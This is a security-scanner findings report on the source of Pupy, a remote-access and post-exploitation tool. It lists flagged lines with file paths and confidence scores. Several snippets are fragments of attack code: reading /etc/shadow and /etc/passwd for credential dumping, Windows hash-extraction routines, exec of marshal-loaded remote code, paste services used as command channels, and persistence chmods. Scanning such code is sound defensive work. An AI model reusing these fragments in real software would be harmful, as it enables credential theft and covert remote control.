- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 1028
- Likely real
- Yes, 100% confidence
These permissions `0o711` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.
os.chmod(outfile.name, 0o711) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 318
- Likely real
- Yes, 100% confidence
These permissions `0o700` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.
os.chmod(os.path.join(root, dir), 0o700) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/obfs3/obfs3.py line 220
- Likely real
- Yes, 99% confidence
Detected a python logger call with a potential hardcoded secret 'DH Complete, secret: %s' being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
logger.debug('DH Complete, secret: %s', repr(shared_secret)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 147
- Likely real
- Yes, 99% confidence
Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.
md5 = MD5.new() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 181
- Likely real
- Yes, 99% confidence
Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.
md5 = MD5.new() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/lsasecrets.py line 52
- Likely real
- Yes, 99% confidence
Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.
md5 = MD5.new() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 176
- Likely real
- Yes, 99% confidence
It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`.
d_i = md5(d_i + self.password + salt).digest() -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/proxies.py line 236
- Likely real
- Yes, 98% confidence
Detects extensive system/network enumeration activities [threat-runtime-enumeration]
for user in pwd.getpwall(): for profile in ('.bashrc', '.profile'): content = _try_read(os.path.join(user.pw_dir, profile)) -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/proxies.py line 363
- Likely real
- Yes, 98% confidence
Detects extensive system/network enumeration activities [threat-runtime-enumeration]
for p in psutil.process_iter(): try: environ = p.as_dict(['environ'])['environ'] -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/doh.py line 36
- Likely real
- Yes, 98% confidence
Detects URLs to suspicious domains often used for exfiltration or C2 [threat-network-exfiltration]
QUAD9 = 'https://dns.quad9.net:5053/dns-query' QUAD9_IP = 'https://9.9.9.9:5053/dns-query' NEXTDNS_1 = 'https://dns1.nextdns.io/dns-query' -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/online.py line 114
- Likely real
- Yes, 98% confidence
Detects URLs to suspicious domains often used for exfiltration or C2 [threat-network-exfiltration]
PASTEBINS = { 'https://pastebin.com': PASTEBIN, 'https://hastebin.com': HASTEBIN, 'http://ix.io': IXIO, -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/online.py line 115
- Likely real
- Yes, 98% confidence
Detects URLs to suspicious domains often used for exfiltration or C2 [threat-network-exfiltration]
'https://pastebin.com': PASTEBIN, 'https://hastebin.com': HASTEBIN, 'http://ix.io': IXIO, 'http://dpaste.com': DPASTE, -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/picocmd/picocmd.py line 864
- Likely real
- Yes, 98% confidence
Detects URLs to suspicious domains often used for exfiltration or C2 [threat-network-exfiltration]
well_known_paste_services = [( 'http://pastebin.com/raw/{}', base64.b64decode, base64.b64encode, -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/picocmd/picocmd.py line 880
- Likely real
- Yes, 98% confidence
Detects URLs to suspicious domains often used for exfiltration or C2 [threat-network-exfiltration]
), ( 'https://hastebin.com/raw/{}', lambda x: to_bytes(baseconv.base62.decode(x)), lambda x: baseconv.base62.encode(from_bytes(x)), -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/sha.py line 12
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module SHA1 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
11 try: 12 from Crypto.Hash import SHA1, SHA256, SHA384, SHA3_256, SHA3_512 13 except ImportError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/lsasecrets.py line 25
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module MD5 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
24 from .hashdump import get_bootkey, str_to_key 25 from Crypto.Hash import MD5, SHA256 26 from Crypto.Cipher import ARC4,DES, AES -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 26
- Likely real
- Yes, 98% confidence
The pyCrypto library and its module MD5 are no longer actively maintained and have been deprecated. Consider using pyca/cryptography library.
25 from ..addrspace import HiveFileAddressSpace 26 from Crypto.Hash import MD5 27 from Crypto.Cipher import ARC4,DES,AES -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 147
- Likely real
- Yes, 98% confidence
Use of insecure MD2, MD4, MD5, or SHA1 hash function.
146 if revision == 2: 147 md5 = MD5.new() 148 md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/hashdump.py line 181
- Likely real
- Yes, 98% confidence
Use of insecure MD2, MD4, MD5, or SHA1 hash function.
180 d2 = DES.new(des_k2, DES.MODE_ECB) 181 md5 = MD5.new() 182 md5.update(hbootkey[:0x10] + pack("<L",rid) + lmntstr) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/win32/lsasecrets.py line 52
- Likely real
- Yes, 98% confidence
Use of insecure MD2, MD4, MD5, or SHA1 hash function.
51 if not vista: 52 md5 = MD5.new() 53 md5.update(bootkey) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/__init__.py line 346
- Likely real
- Yes, 97% confidence
Deserialization with the marshal module is possibly dangerous.
345 try: 346 exec (marshal.loads(bytes(content)), dst) 347 except Exception as e: -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/online.py line 187
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
'ifconfig.co', 'ifconfig.me/ip', 'eth0.me', 'ipecho.net/plain', -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/picocmd/picocmd.py line 864
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
well_known_paste_services = [( 'http://pastebin.com/raw/{}', base64.b64decode, base64.b64encode, -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/online.py line 115
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
'https://pastebin.com': PASTEBIN, 'https://hastebin.com': HASTEBIN, 'http://ix.io': IXIO, 'http://dpaste.com': DPASTE, -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/picocmd/picocmd.py line 880
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
), ( 'https://hastebin.com/raw/{}', lambda x: to_bytes(baseconv.base62.decode(x)), lambda x: baseconv.base62.encode(from_bytes(x)), -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/network/lib/online.py line 114
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
PASTEBINS = { 'https://pastebin.com': PASTEBIN, 'https://hastebin.com': HASTEBIN, 'http://ix.io': IXIO, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/cli/pupygen.py line 1028
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o711 on file (name).
1027 if makex: 1028 os.chmod(outfile.name, 0o711) 1029 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/linux/all/persistence.py line 265
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o711 on file (target).
264 if not lib: 265 os.chmod(target, 0o711) 266 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ssh.py line 726
- Likely real
- Yes, 97% confidence
Possible shell injection via Paramiko call, check inputs are properly sanitized.
725 else: 726 session.exec_command(shell) 727 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ssh.py line 753
- Likely real
- Yes, 97% confidence
Possible shell injection via Paramiko call, check inputs are properly sanitized.
752 session = transport.open_session() 753 session.exec_command(command) 754 session.shutdown_write() -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/modules/creddump.py line 125
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) rsubprocess = self.client.conn.modules.subprocess -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/modules/creddump.py line 101
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
self.client.conn, '/etc/passwd', passwd ) -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/modules/creddump.py line 110
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /pupy/modules/creddump.py line 116
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
self.client.conn, '/etc/shadow', shadow ) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ssh.py line 621
- Likely real
- Yes, 96% confidence
Possible shell injection via Paramiko call, check inputs are properly sanitized.
620 621 session.exec_command(command) 622 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 47
- Likely real
- Yes, 55% confidence
Unpinned dependency: 'flake8-per-file-ignores' has no version lock — supply chain risk
flake8-per-file-ignores -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 17
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'dnslib' has no version lock — supply chain risk
dnslib -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 18
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'http-parser' has no version lock — supply chain risk
http-parser -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 19
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'cerberus' has no version lock — supply chain risk
cerberus -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 20
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'logutils' has no version lock — supply chain risk
logutils -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 24
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pygments' has no version lock — supply chain risk
pygments -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 26
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'tornado' has no version lock — supply chain risk
tornado -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 27
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'win_inet_pton' has no version lock — supply chain risk
win_inet_pton -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 16
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'impacket' has no version lock — supply chain risk
impacket -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 28
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'scandir' has no version lock — supply chain risk
scandir -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 30
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'hexdump' has no version lock — supply chain risk
hexdump -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 32
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'fusepy' has no version lock — supply chain risk
fusepy -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 33
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'defusedxml' has no version lock — supply chain risk
defusedxml -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 35
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'dateparser' has no version lock — supply chain risk
dateparser -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 36
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'puttykeys' has no version lock — supply chain risk
puttykeys -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 37
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pyelftools' has no version lock — supply chain risk
pyelftools -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 38
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'filemagic' has no version lock — supply chain risk
filemagic -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 42
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'chardet' has no version lock — supply chain risk
chardet -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 44
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'http_request' has no version lock — supply chain risk
http_request -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 46
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'flake8' has no version lock — supply chain risk
flake8 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 5
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'netaddr' has no version lock — supply chain risk
netaddr -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 12
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'colorama' has no version lock — supply chain risk
colorama -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 11
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pylzma' has no version lock — supply chain risk
pylzma -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 10
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'netifaces' has no version lock — supply chain risk
netifaces -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 9
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'psutil' has no version lock — supply chain risk
psutil -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 3
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pyyaml' has no version lock — supply chain risk
pyyaml -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 2
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pefile' has no version lock — supply chain risk
pefile -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 1
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pycryptodome' has no version lock — supply chain risk
pycryptodome -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 14
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pyOpenSSL' has no version lock — supply chain risk
pyOpenSSL -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 48
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'ushlex; python_version<'3'' has no version lock — supply chain risk
ushlex; python_version<'3' -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 50
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'tqdm' has no version lock — supply chain risk
tqdm -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 41
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pyaes' has no version lock — supply chain risk
pyaes -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 40
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'dukpy' has no version lock — supply chain risk
dukpy -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 39
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'xattr' has no version lock — supply chain risk
xattr -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 15
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'scapy' has no version lock — supply chain risk
scapy -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 4
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'rsa' has no version lock — supply chain risk
rsa -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 45
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'kcp @ git+https://github.com/n1nj4sec/pykcp' has no version lock — supply chain risk
kcp @ git+https://github.com/n1nj4sec/pykcp -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 49
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pyuv @ git+https://github.com/n1nj4sec/pyuv@fix-building-against-python311' has no version lock — supply chain risk
pyuv @ git+https://github.com/n1nj4sec/pyuv@fix-building-against-python311 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 8
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'tinyec @ https://github.com/alxchk/tinyec/archive/master.zip' has no version lock — supply chain risk
tinyec @ https://github.com/alxchk/tinyec/archive/master.zip -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 22
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pypykatz @ https://github.com/AlessandroZ/pypykatz/archive/master.zip' has no version lock — supply chain risk
pypykatz @ https://github.com/AlessandroZ/pypykatz/archive/master.zip -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 43
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'urllib-auth @ https://github.com/alxchk/urllib-auth/archive/master.zip' has no version lock — supply chain risk
urllib-auth @ https://github.com/alxchk/urllib-auth/archive/master.zip -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/server.py line 665
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
h = hashlib.sha1() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/sha.py line 25
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
return sha1(*args) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/websocket.py line 367
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
hsh = sha1(key + GUID) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 72
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
h = hashlib.sha1() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 54
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
h = hashlib.sha1() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/client.py line 484
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
h = hashlib.sha1() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/jarsigner.py line 41
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
digest = sha1(content) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py2/uuid.py line 857
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
hash = sha1(namespace.bytes + name).digest() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/jarsigner.py line 62
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
b64encode(sha1(MANIFEST_MF).digest()), -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/jarsigner.py line 51
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
name, b64encode(sha1(manifest_record).digest()) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /services/proxy/main.go line 153
- Likely real
- Yes, 53% confidence
`MinVersion` is missing from this TLS configuration. By default, as of Go 1.22, TLS 1.2 is currently used as the minimum. General purpose web applications should default to TLS 1.3 with all other protocols disabled. Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3.
ListenerConfig = &tls.Config{ Certificates: []tls.Certificate{cert}, CipherSuites: []uint16{ tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, tls.TLS_RSA_WITH_AES_256_GCM_SHA384, tls.TLS_RSA_WITH_AES_256_CBC_SHA, }, ClientAuth: tls.RequireAndVerifyClientCert, ClientCAs: caPool, NextProtos: []string{"pp/1"}, } -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /services/proxy/streams.go line 267
- Likely real
- Yes, 53% confidence
`MinVersion` is missing from this TLS configuration. By default, as of Go 1.22, TLS 1.2 is currently used as the minimum. General purpose web applications should default to TLS 1.3 with all other protocols disabled. Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3.
return tls.Listen("tcp", fmt.Sprintf("%s:%d", ExternalBindHost, port), &tls.Config{ Certificates: []tls.Certificate{cert}, ClientCAs: pool, ClientAuth: tls.RequireAndVerifyClientCert, }) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyServer.py line 659
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
conn.execute( 'exec({})'.format( reprb( open(path.join( ROOT, "pupylib", 'PupyClientInitializer.py' ), 'r').read() ) ) ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/jarsigner.py line 30
- Likely real
- Yes, 52% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
SHA1_MAIN_ATTRIBUTES = b64encode(sha1(MANIFEST_MF).digest()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/igd.py line 221
- Likely real
- Yes, 52% confidence
Using xml.etree.ElementTree.fromstring to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree.fromstring with its defusedxml equivalent function or make sure defusedxml.defuse_stdlib() is called
220 """ 221 dom = fromstring(err_resp) 222 err_code = dom.find('.//control:errorCode', self.NS) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/igd.py line 294
- Likely real
- Yes, 52% confidence
Using xml.etree.ElementTree.fromstring to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree.fromstring with its defusedxml equivalent function or make sure defusedxml.defuse_stdlib() is called
293 baseURL = self.pr.scheme + "://" + self.pr.netloc 294 dom = fromstring(descXMLs) 295 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/darwin/hashdump.py line 14
- Likely real
- Yes, 52% confidence
Using xml.etree.ElementTree.fromstring to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree.fromstring with its defusedxml equivalent function or make sure defusedxml.defuse_stdlib() is called
13 if len(raw) > 100: 14 root = ElementTree.fromstring(raw) 15 children = root[0][1].getchildren() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyServer.py line 671
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
conn.execute( 'import marshal;exec(marshal.loads({}))'.format( reprb( pupycompile( path.join( ROOT, "pupylib", 'PupyClientInitializer.py' ), path=True, raw=True, target=conn.remote_version ) ) ) ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/odbc.py line 252
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
cursor.execute('SELECT * FROM {} WHERE 1=0'.format(table)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/igd.py line 199
- Likely real
- Yes, 52% confidence
Using xml.etree.ElementTree.fromstring to parse untrusted XML data is known to be vulnerable to XML attacks. Replace xml.etree.ElementTree.fromstring with its defusedxml equivalent function or make sure defusedxml.defuse_stdlib() is called
198 """ 199 dom = fromstring(xmls) 200 r = {} -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/launchers/dnscnc.py line 97
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(content) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/__init__.py line 346
- Likely real
